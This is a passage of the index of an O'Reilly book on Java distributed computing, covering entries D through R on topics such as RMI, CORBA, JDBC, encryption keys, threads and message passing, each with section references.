doProduction( )
AudioProducer class: 8.5.1. Streaming Multimedia
ContentProducer class: 8.4.2. Real Data Monitoring
downloading
applet support classes: A.2. Class Downloads
web pages (example): 8.5.2. Web Browsing
Driver interface: 7.1.2.1. DriverManager
DriverManager class: 7.1.2.1. DriverManager
drivers, configuring: 7.2.1. JDBC Driver Configurations
DSA (Digital Signature Algorithm): 5.2.1.1. The User API
5.7.2.1. Encryption techniques
DSAKeyPairGenerator interface: 5.2.1.1. The User API
dynamic database objects: 7.2.3. A Scheduling Example
Dynamic Invocation Interface (DII): 3.5. CORBA
dynamic object activation: 3.3.2. Object Manager

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E

eavesdropping: 5.1. Security Issues and Concerns
5.6. Data Encryption
encapsulation in database design: 7.2.2. Defining the Data Objects
encryption: 1.3.6.2. Secure remote transactions
5.2.2. The Core Security API
5.6. Data Encryption
asymmetric algorithms: 5.4.2. Public Key Methods
5.6.1. Ciphers for Secure Data Transfers
available techniques for: 5.7.2.1. Encryption techniques
EncryptedInputStream class (example): 1.3.6.2. Secure remote transactions
PGP for: 5.7.3.2. Pretty Good Privacy (PGP)
public key: 5.4.2. Public Key Methods
SSL for: 5.7.3.1. Secure Socket Layer (SSL)
symmetric algorithms: 5.6.1. Ciphers for Secure Data Transfers
entries, JavaSpace: C.1. Overview of JavaSpaces
Entry class (JavaSpaces): C.2. Entry and EntryRep
EntryReps class (JavaSpaces): C.2. Entry and EntryRep
equals( )
ObjID class: D.3. The java.rmi.server Package
RemoteObject class: D.3. The java.rmi.server Package
UID class: D.3. The java.rmi.server Package
error handling: 1.3.4. Fault Tolerance Through Exception Handling
Event Service (CORBA): B.2. Event Service
events
AWT: 6.6.3. Pros and Cons
distributed: 6.6.2. Distributed Events
event channels
quality of service: B.2.1. Quality of Service for Channels
EventHandler interface (example): 6.6.2. Distributed Events
EventListener interface: 6.6.1. Event Model Overview
B.2.3. Comparison to the Java Event Model
EventObject class: 6.6.1. Event Model Overview
EventTransceiver class (example): 6.6.2. Distributed Events
message passing and: 6.6. Message Passing with Java Events
example source code, obtaining: 0.3. About the Source Code
exception handling: 1.3.4. Fault Tolerance Through Exception Handling
executeCall( ): D.3. The java.rmi.server Package
executeQuery( ): 7.1.2.3. Statement
7.1.2.3. Statement
ExportException: D.3. The java.rmi.server Package
extendibility: 1.2.2. Flexible, Extendible Communication Protocols

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F

failure( ): D.3. The java.rmi.server Package
fault tolerance: 1.3.4. Fault Tolerance Through Exception Handling
FilterInputStream class: 2.1.4. Streams, Readers, and Writers for Input and Output
FilterOutputStream class: 2.1.4. Streams, Readers, and Writers for Input and Output
FilterReader class: 2.1.4. Streams, Readers, and Writers for Input and Output
FilterWriter class: 2.1.4. Streams, Readers, and Writers for Input and Output
finalize( ): 1.3.5. Network Support
finally blocks: 1.3.4. Fault Tolerance Through Exception Handling
fixed message protocols: 6.4. Fixed Protocols
flexibility: 1.2.2. Flexible, Extendible Communication Protocols
for_consumers( ): B.2.2. Interface Specifics
forName( ): 3.2.1. Creating Remote Objects
7.1.2.1. DriverManager
for_suppliers( ): B.2.2. Interface Specifics
FTP, obtaining source code via: 0.3. About the Source Code
fully qualified hostnames: 2.1.1. IP Addressing
functions, partitioning and distributing: 1.2.1. Partitioning and Distributing Data and Functions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: G

generateKey( ): 5.4.3. Keys in the Java Security API
generateKeyPair( ): 5.4.3. Keys in the Java Security API
generating keys: 5.4.2. Public Key Methods
5.4.3. Keys in the Java Security API
getAddress( ): 2.1.1. IP Addressing
getAlgorithm( ): 5.4.3. Keys in the Java Security API
getAllTasks( ): 7.2.4. JDBC-Enabled Data Objects
getAverageRate( ): 8.4. Monitoring Bandwidth
getClientHost( )
RemoteServer class: D.3. The java.rmi.server Package
ServerRef interface: D.3. The java.rmi.server Package
GetCmd class (example): 1.3.5. Network Support
getConnection( ): 7.1.1. Data Retrieval Example
7.1.2.1. DriverManager
getConsumer( ): 8.5.2. Web Browsing
getContent( ): 2.2. URLs, URLConnections, and ContentHandlers
getCreditData( ) (example): 5.5.1. A Motivating Example: A Credit Agent
getDefaultStream( ): D.3. The java.rmi.server Package
getHostName( ): 2.1.1. IP Addressing
getIdentity( ): 9.3.1. Building the Infrastructure with Message Passing
getInputStream( )
java.io package: 2.1.4. Streams, Readers, and Writers for Input and Output
RemoteCall interface: D.3. The java.rmi.server Package
getInstance( ): 5.5.2. Public Key Signatures for Authentication
getLastRate( ): 8.4. Monitoring Bandwidth
getLog( ): D.3. The java.rmi.server Package
getName( ): 3.2.2. Remote Method Calls
getOperation( ): D.3. The java.rmi.server Package
getOperations( ): D.3. The java.rmi.server Package
getOutputStream( )
java.io package: 2.1.4. Streams, Readers, and Writers for Input and Output
LogStream class: D.3. The java.rmi.server Package
RemoteCall interface: D.3. The java.rmi.server Package
getPrivate( ): 5.4.3. Keys in the Java Security API
getPublic( ): 5.4.3. Keys in the Java Security API
getRateFor( ): 8.4. Monitoring Bandwidth
getRegistry( ): D.2. The java.rmi.registry Package
GetResourceMsg class (example): 7.2.6.1. Message passing with the data server
getResultStream( ): D.3. The java.rmi.server Package
getSecurityContext( )
LoaderHandler interface: D.3. The java.rmi.server Package
RMIClassLoader class: D.3. The java.rmi.server Package
getSocketFactory( ): D.3. The java.rmi.server Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: H

handleEvent( ): 6.6.2. Distributed Events
B.2.3. Comparison to the Java Event Model
hashCode( )
ObjID class: D.3. The java.rmi.server Package
RemoteObject class: D.3. The java.rmi.server Package
UID class: D.3. The java.rmi.server Package
HeadCmd class (example): 1.3.5. Network Support
heterogeneous argument lists: 6.4.1. Heterogeneous Argument Lists
host computers: 2.1.1. IP Addressing
HTMLPageLoader class (example): 8.5.2. Web Browsing
HTTP protocol: 2.2. URLs, URLConnections, and ContentHandlers

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: I

identifiers, message: 6.1. Messages Defined
identity, agent: 5.3. Identities and Access Control
9.3.1. Building the Infrastructure with Message Passing
collaboration and: 9.2.2. Maintaining Agent Identities
managing: 5.2.2. The Core Security API
verifying: 5.1. Security Issues and Concerns
5.5.5. Distributing Certified Public Keys
Identity class (example): 5.3. Identities and Access Control
9.3.1. Building the Infrastructure with Message Passing
IDL (Interface Definition Language): 3.5.2. The Interface Definition Language (IDL)
Solver interface (example): 3.5.5.1. The IDL interface
IIOP (Internet Inter-ORB Protocol): 3.5. CORBA
implementation-neutral interfaces: 1.3.2. Abstract Interfaces
implementation of object classes: 3.3. Features of Distributed Object Systems
import statement: 2.3. The ClassLoader
imposter agents: 5.1. Security Issues and Concerns
in keyword (IDL): 3.5.2. The Interface Definition Language (IDL)
InetAddress class: 2.1.1. IP Addressing
initEncrypt( ): 5.6.1. Ciphers for Secure Data Transfers
initialize( ): 5.4.3. Keys in the Java Security API
initSign( ): 5.5.2. Public Key Signatures for Authentication
initStream( ): 2.3.1. Loading Classes from the Network
initVerify( ): 5.5.2. Public Key Signatures for Authentication
inout keyword (IDL): 3.5.2. The Interface Definition Language (IDL)
3.5.5.2. The client stubs
InputStream classes: 2.1.4. Streams, Readers, and Writers for Input and Output
4.2.1. Implementing Runnable
InputStreamReader class: 2.1.4. Streams, Readers, and Writers for Input and Output
interactive chat system (example): 10.1. A Simple Chat System
Interface Definition Language (IDL): 3.5.2. The Interface Definition Language (IDL)
Solver interface (example): 3.5.5.1. The IDL interface
interfaces, abstract (implementation-neutral): 1.3.2. Abstract Interfaces
Internet Inter-ORB Protocol (IIOP): 3.5. CORBA
Internet Protocol (IP): 2.1. Sockets and Streams
intruders: 5.1. Security Issues and Concerns
invoke( ): D.3. The java.rmi.server Package
IP (Internet Protocol): 2.1. Sockets and Streams
isAuthorized( ): 5.5.3. An Authenticating Credit Agent

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: J

Java Cryptography Extension (JCE): 5.2.2. The Core Security API
Cipher class: 5.6.1. Ciphers for Secure Data Transfers
Java language
advantages for distributed computing: 1.3. What Does Java Provide?
distributed object schemes: 3.4. Distributed Object Schemes for Java
comparison between: 3.7. RMI vs. CORBA
CORBA: 3.5. CORBA
Java RMI: 3.6. Java RMI
event model: 6.6.1. Event Model Overview
B.2.3. Comparison to the Java Event Model
multithreading support: 1.3.7. Multithreading Support
network support of: 1.3.5. Network Support
as RMI's exclusive language: 3.7.1. The Language Barrier: Advantage or Disadvantage?
security: 1.3.6. Security
5.1. Security Issues and Concerns
Java RMI: 3.6. Java RMI
collaborating with: 9.3.2. Collaborating with RMI
CORBA versus: 3.7. RMI vs. CORBA
B.1.1. Comparison to the RMI Registry
message passing with: 6.7. Using Remote Objects
quick reference: D. RMI Quick Reference
Registry: 3.6.3. The RMI Registry
security manager for: 3.6.5. Registering and Using a Remote Object
Java Security API (java.security): 1.3.6.2. Secure remote transactions
5.2. The java.security Package
B.3.3. Comparison to the Java Security API
acl package: 5.3.1. Access Control Lists
Cipher class: 5.6.1. Ciphers for Secure Data Transfers
Key interface: 5.4.3. Keys in the Java Security API
Java Virtual Machine (JVM): 1.3.3. Platform Independence
java.io package: 1.3.5. Network Support
2.1.4. Streams, Readers, and Writers for Input and Output
java.net package: 2.1. Sockets and Streams
2.2. URLs, URLConnections, and ContentHandlers
java.rmi package: D.1. The java.rmi Package
java.rmi.Naming interface (see naming service)
java.rmi.server package: D.3. The java.rmi.server Package
JavaSpace interface: C.4. The JavaSpace Interface
JavaSpaces system: C. JavaSpaces
JCE (Java Cryptography Extension): 5.2.2. The Core Security API
Cipher class: 5.6.1. Ciphers for Secure Data Transfers
JDBC API: 7.1. An Overview of JDBC
driver configuration: 7.2.1. JDBC Driver Configurations
JDBC-enabled data objects: 7.2.4. JDBC-Enabled Data Objects
multi-database applications: 7.3. Multi-Database Applications
JIT (just-in-time) compilers: 3.7.1. The Language Barrier: Advantage or Disadvantage?
joinGroup( ): 2.1.3. Multicast Sockets
JVM (see Java Virtual Machine)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K

Key interface: 5.4.3. Keys in the Java Security API
KeyGenerator class: 5.4.3. Keys in the Java Security API
KeyPair class: 5.4.3. Keys in the Java Security API
KeyPairGenerator class: 5.4.3. Keys in the Java Security API
keys: 5.4. Keys: Public, Private, and Secret
certified public, distributing: 5.5.5. Distributing Certified Public Keys
public key encryption: 5.4.2. Public Key Methods
public key signatures: 5.5.2. Public Key Signatures for Authentication
public vs. private: 5.4.2. Public Key Methods
secret: 5.4.1. Secret Keys

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L

leaveGroup( ): 2.1.3. Multicast Sockets
legal issues and cryptography: 5.7.1.5. Financial and legal issues
licenses for cryptography: 5.7.1.5. Financial and legal issues
limited bandwidth (see bandwidth-limited systems)
list( )
Naming interface: D.1. The java.rmi Package
Remote interface: D.2. The java.rmi.registry Package
listen( ): 1.3.5. Network Support
loadClass( )
ClassLoader class: 2.3. The ClassLoader
2.3.1. Loading Classes from the Network
LoaderHandler interface: D.3. The java.rmi.server Package
RMIClassLoader class: D.3. The java.rmi.server Package
loadElements( ): 8.5.2. Web Browsing
8.5.2. Web Browsing
LoaderHandler interface: D.3. The java.rmi.server Package
loading classes: 2.3. The ClassLoader
object serialization versus: 3.6.6. Serializing Objects
LocateRegistry interface: D.2. The java.rmi.registry Package
locking classes for threads: 4.3.1. Synchronizing Threads
log( ): D.3. The java.rmi.server Package
LogStream class: D.3. The java.rmi.server Package
lookup( )
Naming interface: 3.6.3. The RMI Registry
D.1. The java.rmi Package
Remote interface: D.2. The java.rmi.registry Package
lookupSecretKey( ): 5.6.2. Back to Our Credit Agent

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M

managing bandwidth: 8.2.2. Managing Bandwidth
8.5. Bandwidth Management
streaming audio example: 8.5.1. Streaming Multimedia
web browser example: 8.5.2. Web Browsing
MarshalException: D.1. The java.rmi Package
marshaling data: 3.2.2. Remote Method Calls
MD5 message digest format: 5.2.1.2. The Provider API
Mediator interface (example): 9.3.1. Building the Infrastructure with Message Passing
MediatorMessage class (example): 9.3.1. Building the Infrastructure with Message Passing
mediators: 9.3. A Basic Collaborative Infrastructure
9.3.1. Building the Infrastructure with Message Passing
Message class (example): 6.5.4. An Adaptable Message Handler
message handlers: 6.3. Message Processing
adaptable: 6.5.4. An Adaptable Message Handler
asynchronous vs. synchronous: 6.3.1. Asychronous vs. Synchronous Message Handling
example processor: 6.3.2. A Basic Message Processor
for heterogeneous argument lists: 6.4.1. Heterogeneous Argument Lists
message-passing systems
advantages to: 6.2. Why Do We Need Messages?
chess-playing agents example: 6.4. Fixed Protocols
collaborative: 9.3.1. Building the Infrastructure with Message Passing
databases and remote data: 7.2.6.1. Message passing with the data server
Java events with: 6.6. Message Passing with Java Events
remote objects for: 6.7. Using Remote Objects
MessageCollaborator interface (example): 9.3.1. Building the Infrastructure with Message Passing
9.3.1. Building the Infrastructure with Message Passing
as applet: A.1. Whiteboard Applet
MessageHandler class (example): 6.5.4. An Adaptable Message Handler
collaboration by using: 9.3.1. Building the Infrastructure with Message Passing
MessageMediator class (example): 9.3.1. Building the Infrastructure with Message Passing
as applet: A.1. Whiteboard Applet
messages
adaptable message types: 6.5.3. Adaptable Message Types
adaptable protocols for: 6.5. Adaptable Protocols
definition of: 6.1. Messages Defined
fixed protocols for: 6.4. Fixed Protocols
heterogeneous argument lists: 6.4.1. Heterogeneous Argument Lists
identifiers for: 6.1. Messages Defined
objects as arguments: 6.4.2. Objects as Message Arguments
rationale for: 6.2. Why Do We Need Messages?
variable arguments: 6.5.1. Variable Number of Arguments
methods
Method class: 3.2.2. Remote Method Calls
public key: 5.4.2. Public Key Methods
remote invocation of: 3.2.2. Remote Method Calls
synchronized: 4.3.1. Synchronizing Threads
monitoring bandwidth: 8.2.1. Monitoring Bandwidth
raw data throughput: 8.4.1. Raw Data Monitoring
real data throughput: 8.4.2. Real Data Monitoring
monitoring sytem performance: 4.4.3. Improving Efficiency with Thread Priorities
mouse events
browser example and: 8.5.2. Web Browsing
whiteboard example and: 10.2. A Shared Whiteboard
mouseDragged( ): 8.5.2. Web Browsing
moveAccepted( ): 6.4. Fixed Protocols
MoveMessage class (example): 6.4. Fixed Protocols
6.4.1. Heterogeneous Argument Lists
adaptable version of: 6.5.4. An Adaptable Message Handler
with object arguments: 6.4.2. Objects as Message Arguments
MsgWhiteboardUser class (example): A.1. Whiteboard Applet
multi-database applications: 7.3. Multi-Database Applications
multi-way agent authentication: 5.7.1.3. One-, two-, and many-way cryptography
multicast sockets: 2.1.3. Multicast Sockets
multicasting: 2.1.3. Multicast Sockets
MulticastSocket class: 2.1.3. Multicast Sockets
multimedia, streaming (example): 8.5.1. Streaming Multimedia
multithreading (see threads)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N

NameComponent class: B.1. Naming Service
Naming interface: 3.6.3. The RMI Registry
quick reference for: D.1. The java.rmi Package
naming service: 3.2.3. Other Issues
3.3.3. Registration/Naming Service
CORBA: 3.5.3. Server Implementations
3.5.5.5. Pulling it all together
B.1. Naming Service
java.rmi.Naming vs. CORBA: B.1.1. Comparison to the RMI Registry
RMI Registry: 3.6.3. The RMI Registry
NamingContext interface: B.1. Naming Service
network communications
ClassLoader class: 2.3. The ClassLoader
object serialization versus: 3.6.6. Serializing Objects
collaboration and: 9.2.1. Communication Needs
eavesdropping on: 5.1. Security Issues and Concerns
5.6. Data Encryption
HTTP protocol support: 2.2. URLs, URLConnections, and ContentHandlers
Java support for: 1.3.5. Network Support
multicasting: 2.1.3. Multicast Sockets
object communication protocol: 3.3.4. Object Communication Protocol
protocol requirements: 1.2.2. Flexible, Extendible Communication Protocols
remote transaction security: 1.3.6.2. Secure remote transactions
sockets and streams: 2.1. Sockets and Streams
threads and: 4.4. Networked Threads
newCall( ): D.3. The java.rmi.server Package
newCopy( ): 6.5.4. An Adaptable Message Handler
newInstance( ): 3.2.1. Creating Remote Objects
newMember( ): 9.3.1. Building the Infrastructure with Message Passing
nextMove( ): 6.4. Fixed Protocols
non-repudiation facilities (CORBA): B.3.1. Service Types
NoSuchObjectException: D.1. The java.rmi Package
NotBoundException: D.1. The java.rmi Package
notify( )
Collaborator interface: 9.3.1. Building the Infrastructure with Message Passing
JavaSpace interface: C.4.4. notify( )
NRCredentials interface: B.3.2. Security Model

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O

Object Management Group (OMG): 3.5. CORBA
object manager: 3.3.2. Object Manager
CORBA's ORB: 3.5.1. The Object Request Broker (ORB)
RMI Registry: 3.6.3. The RMI Registry
object-oriented programming: 1.3.1. Object-Oriented Environment
object references: 3.2.1. Creating Remote Objects
Object Request Broker (see ORB)
objects
abstract interfaces for: 1.3.2. Abstract Interfaces
binding: B.1. Naming Service
client stub: 3.3. Features of Distributed Object Systems
IDL interface and: 3.5.4. Client Stubs
3.5.5.2. The client stubs
Java RMI and: 3.6.4. Client Stubs and Server Skeletons
of databases, defining: 7.2.2. Defining the Data Objects
scheduling system example: 7.2.3. A Scheduling Example
dynamic activation: 3.3.2. Object Manager
interface specification: 3.3. Features of Distributed Object Systems
as message arguments: 6.4.2. Objects as Message Arguments
persistence: B.4. Other Key CORBA Services
registration/naming service: 3.2.3. Other Issues
3.3.3. Registration/Naming Service
CORBA and: 3.5.3. Server Implementations
3.5.5.5. Pulling it all together
RMI Registry: 3.6.3. The RMI Registry
remote
communication protocol: 3.3.4. Object Communication Protocol
creating: 3.2.1. Creating Remote Objects
for message passing: 6.7. Using Remote Objects
registering (RMI): 3.6.5. Registering and Using a Remote Object
remote interfaces: 3.6.1. Remote Object Interfaces
serializing: 3.2.1. Creating Remote Objects
3.6.6. Serializing Objects
C.2. Entry and EntryRep
server skeleton: 3.3. Features of Distributed Object Systems
IDL interface and: 3.5.3. Server Implementations
3.5.5.3. The server skeleton and implementation
Java RMI and: 3.6.4. Client Stubs and Server Skeletons
verifying incoming: 5.1. Security Issues and Concerns
ObjID class: D.3. The java.rmi.server Package
obtain_pull_consumer( ): B.2.2. Interface Specifics
obtain_push_consumer( ): B.2.2. Interface Specifics
ODBC database drivers: 7.2.1. JDBC Driver Configurations
OMG (Object Management Group): 3.5. CORBA
one-way agent authentication: 5.7.1.3. One-, two-, and many-way cryptography
openConnection( ): 2.2. URLs, URLConnections, and ContentHandlers
openStream( ): 2.2. URLs, URLConnections, and ContentHandlers
Operation class: D.3. The java.rmi.server Package
ORB (Object Request Broker): 3.5. CORBA
Internet Inter-ORB Protocol (IIOP): 3.5. CORBA
out keyword (IDL): 3.5.2. The Interface Definition Language (IDL)
OutputStream classes: 2.1.4. Streams, Readers, and Writers for Input and Output
4.2.1. Implementing Runnable
OutputStreamWriter class: 2.1.4. Streams, Readers, and Writers for Input and Output

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P

parseClassName( ): 2.3.1. Loading Classes from the Network
parseLevel( ): D.3. The java.rmi.server Package
partitioning data and functions: 1.2.1. Partitioning and Distributing Data and Functions
performance
collaboration and: 9.2.4. Performance
distribution of workload: 3.2.3. Other Issues
monitoring: 4.4.3. Improving Efficiency with Thread Priorities
multithreading and: 1.2.3. Multithreading Requirements
thread management: 1.3.7. Multithreading Support
thread priorities: 4.3.3. Priorities
4.4.3. Improving Efficiency with Thread Priorities
PermissionImpl class: 5.3.1. Access Control Lists
permissions, adding to ACL entries: 5.3.1. Access Control Lists
persistent objects: B.4. Other Key CORBA Services
PGP (Pretty Good Privacy): 5.7.3.2. Pretty Good Privacy (PGP)
PipedClient class (example): 2.1.4. Streams, Readers, and Writers for Input and Output
PipedInputStream class: 2.1.4. Streams, Readers, and Writers for Input and Output
PipedOutputStream class: 2.1.4. Streams, Readers, and Writers for Input and Output
PipedServer class (example): 2.1.4. Streams, Readers, and Writers for Input and Output
platform independence: 1.3.3. Platform Independence
Java RMI versus CORBA: 3.7.1. The Language Barrier: Advantage or Disadvantage?
specifying object interfaces: 3.3.1. Object Interface Specification
port numbers: 2.1.1. IP Addressing
PostCmd class (example): 1.3.5. Network Support
postConsume( ): 8.4.2. Real Data Monitoring
postProduction( ): 8.4.2. Real Data Monitoring
preConsume( ): 8.4.2. Real Data Monitoring
prepareCall( ): 7.1.2.3. Statement
PreparedStatement class: 7.1.2.3. Statement
prepareStatement( ): 7.1.2.3. Statement
preProduction( ): 8.4.2. Real Data Monitoring
Pretty Good Privacy (PGP): 5.7.3.2. Pretty Good Privacy (PGP)
Principal interface: 5.3. Identities and Access Control
PrincipalAuthenticator interface: B.3.2. Security Model
PrincipalImpl class: 5.3.1. Access Control Lists
priorities, thread: 1.3.7. Multithreading Support
4.3.3. Priorities
4.4.3. Improving Efficiency with Thread Priorities
private keys: 5.4.2. Public Key Methods
PrivateKey class: 5.4.3. Keys in the Java Security API
privileges for database objects: 7.2.3. A Scheduling Example
ProblemSet interface (example): 3.4. Distributed Object Schemes for Java
in CORBA environment: 3.5.5. A CORBA Solver
Runnable interface with: 4.2.1. Implementing Runnable
using Java RMI: 3.6.7. An RMI Solver
processes: 1.1. Anatomy of a Distributed Application
processing messages (see message handlers)
produce( ): 8.4.2. Real Data Monitoring
produceAll( )
AudioProducer class: 8.5.1. Streaming Multimedia
ContentProducer class: 8.4.2. Real Data Monitoring
production pipelines: 8.4.2. Real Data Monitoring
provider API (java.security): 5.2.1.2. The Provider API
Provider interface: 5.2.1.2. The Provider API
pseudo-random number generator: 5.4.3. Keys in the Java Security API
public keys
certificates: 5.4.2. Public Key Methods
digital signatures and: 5.5.2. Public Key Signatures for Authentication
distributing: 5.5.5. Distributing Certified Public Keys
encryption: 5.4.2. Public Key Methods
PublicKey class: 5.4.3. Keys in the Java Security API
5.5.5. Distributing Certified Public Keys
RSA encryption: 5.7.2.1. Encryption techniques
pull( ): B.2. Event Service
push( ): B.2. Event Service
PushbackInputStream class: 2.1.4. Streams, Readers, and Writers for Input and Output
PushbackReader class: 2.1.4. Streams, Readers, and Writers for Input and Output
PushSupplier interface: B.2.2. Interface Specifics

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q

quality of service, event channel: B.2.1. Quality of Service for Channels
query service (CORBA): B.4. Other Key CORBA Services
query statements: 7.1.2.3. Statement

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R

random number generator: 5.4.3. Keys in the Java Security API
raw data throughput: 8.4.1. Raw Data Monitoring
read( )
JavaSpace interface: C.4.2. read( )
ObjID class: D.3. The java.rmi.server Package
UID class: D.3. The java.rmi.server Package
readArgs( ): 6.4.1. Heterogeneous Argument Lists
readClass( ): 2.3.1. Loading Classes from the Network
Reader classes: 2.1.4. Streams, Readers, and Writers for Input and Output
readMsg( ): 6.3.2. A Basic Message Processor
6.4.1. Heterogeneous Argument Lists
9.3.1. Building the Infrastructure with Message Passing
real data throughput: 8.4.2. Real Data Monitoring
real-time (see bandwidth-limited applications)
Real-Time Control Protocol (RTCP): 8.2.3. Levels of Monitoring and Management
Real-Time Protocol (RTP): 8.2.3. Levels of Monitoring and Management
rebind( )
Naming interface: D.1. The java.rmi Package
Remote interface: D.2. The java.rmi.registry Package
receiveEvent( ): 6.6.2. Distributed Events
registration service: 3.3. Features of Distributed Object Systems
3.3.3. Registration/Naming Service
CORBA and: 3.5.3. Server Implementations
3.5.5.5. Pulling it all together
RMI Registry: 3.6.3. The RMI Registry
Registry interface: D.2. The java.rmi.registry Package
Registry, Java RMI: 3.6.3. The RMI Registry
RegistryHandler interface: D.2. The java.rmi.registry Package
registryImpl( ): D.2. The java.rmi.registry Package
registryStub( ): D.2. The java.rmi.registry Package
RejectMoveMessage class (example): 6.4. Fixed Protocols
releaseInputStream( ): D.3. The java.rmi.server Package
releaseOutputStream( ): D.3. The java.rmi.server Package
remote
database data servers: 7.2.6. Remote Data Servers
databases: 7.2. Remote Database Applications
method invocation: 3.2.2. Remote Method Calls
object interfaces: 3.6.1. Remote Object Interfaces
object references: 3.2.1. Creating Remote Objects
objects
communication protocol for: 3.3.4. Object Communication Protocol
creating: 3.2.1. Creating Remote Objects
for message passing: 6.7. Using Remote Objects
registering (RMI): 3.6.5. Registering and Using a Remote Object
Remote interface: 3.6.1. Remote Object Interfaces
D.1. The java.rmi Package
Remote Method Invocation (see Java RMI)
RemoteCall interface: D.3. The java.rmi.server Package
RemoteException: 3.6.1. Remote Object Interfaces
C.2. Entry and EntryRep
D.1. The java.rmi Package
RemoteObject class: D.3. The java.rmi.server Package
RemoteRef interface: D.3. The java.rmi.server Package
RemoteServer class: 3.6.2. Server Implementations
D.3. The java.rmi.server Package
RemoteStub class: D.3. The java.rmi.server Package
transaction security: 1.3.6.2. Secure remote transactions
remoteEquals( ): D.3. The java.rmi.server Package
remoteHashCode( ): D.3. The java.rmi.server Package
remoteToString( ): D.3. The java.rmi.server Package
removeHandler( ): 6.6.2. Distributed Events
removeMember( ): 9.3.1. Building the Infrastructure with Message Passing
renew( ): C.4.5. renew( )
ResAssignment class (example): 7.2.4. JDBC-Enabled Data Objects
7.2.4. JDBC-Enabled Data Objects
resizeBuffer( ): 8.5.1. Streaming Multimedia
resolving object names: B.1. Naming Service
ResultSet class: 7.1.1. Data Retrieval Example
7.1.2.4. ResultSet
resume( ): 4.4.2. Distributed ThreadGroups
RMI (see Java RMI)
rmic compiler: 3.6.4. Client Stubs and Server Skeletons
RMIChatClient class (example): 10.1. A Simple Chat System
RMIChessMove interface (example): 6.7. Using Remote Objects
RMIChessMoveImpl class (example): 6.7. Using Remote Objects
RMIChessPlayer interface (example): 6.7. Using Remote Objects
RMIChessPlayerImpl class (example): 6.7. Using Remote Objects
RMIClassLoader class: D.3. The java.rmi.server Package
RMICollaborator interface (example): 9.3.2. Collaborating with RMI
9.3.2. Collaborating with RMI
RMICollaboratorImpl class (example): 9.3.2. Collaborating with RMI
9.3.2. Collaborating with RMI
10.1. A Simple Chat System
10.2. A Shared Whiteboard
RMIDatabaseItem interface (example): 7.2.6.2. Distributed objects from the data server
RMIFailureHandler interface: D.3. The java.rmi.server Package
RMIMediator interface (example): 9.3.2. Collaborating with RMI
9.3.2. Collaborating with RMI
RMIMediatorImpl class (example): 9.3.2. Collaborating with RMI
10.2. A Shared Whiteboard
rmiregistry command: 3.6.3. The RMI Registry
RMISchedDbase interface (example): 7.2.6.2. Distributed objects from the data server
RMIScheduler class (example): 7.2.6.2. Distributed objects from the data server
RMISecurityException: D.1. The java.rmi Package
RMISecurityManager class: D.1. The java.rmi Package
RMISocketFactory class: D.3. The java.rmi.server Package
RMISolver interface (example): 3.6.7. An RMI Solver
RmtThreadGroup class (example): 4.4.2. Distributed ThreadGroups
rollback( ): 7.1.2.3. Statement
RSA public key encryption: 5.7.2.1. Encryption techniques
RSAKeyPairGenerator class: 5.4.3. Keys in the Java Security API
RTCP (Real-Time Control Protocol): 8.2.3. Levels of Monitoring and Management
RTInputStream class (example): 8.4.1. Raw Data Monitoring
RTOutputStream class (example): 8.4.1. Raw Data Monitoring
RTP (Real-Time Protocol): 8.2.3. Levels of Monitoring and Management
run( ): 1.3.7. Multithreading Support
4.1. Thread and Runnable
Runnable interface: 1.3.7. Multithreading Support
4.1. Thread and Runnable
for asynchronous message passing: 6.3.2. A Basic Message Processor
implementing: 4.2.1. Implementing Runnable
RunnableSolver class (example): 4.2.1. Implementing Runnable
RunnableSolverClient class (example): 4.2.1. Implementing Runnable
RunnableSolveServer class (example): 4.2.1. Implementing Runnable
runtime environment
Java RMI Registry: 3.6.3. The RMI Registry
loading class definitions: 2.3. The ClassLoader
object serialization versus: 3.6.6. Serializing Objects
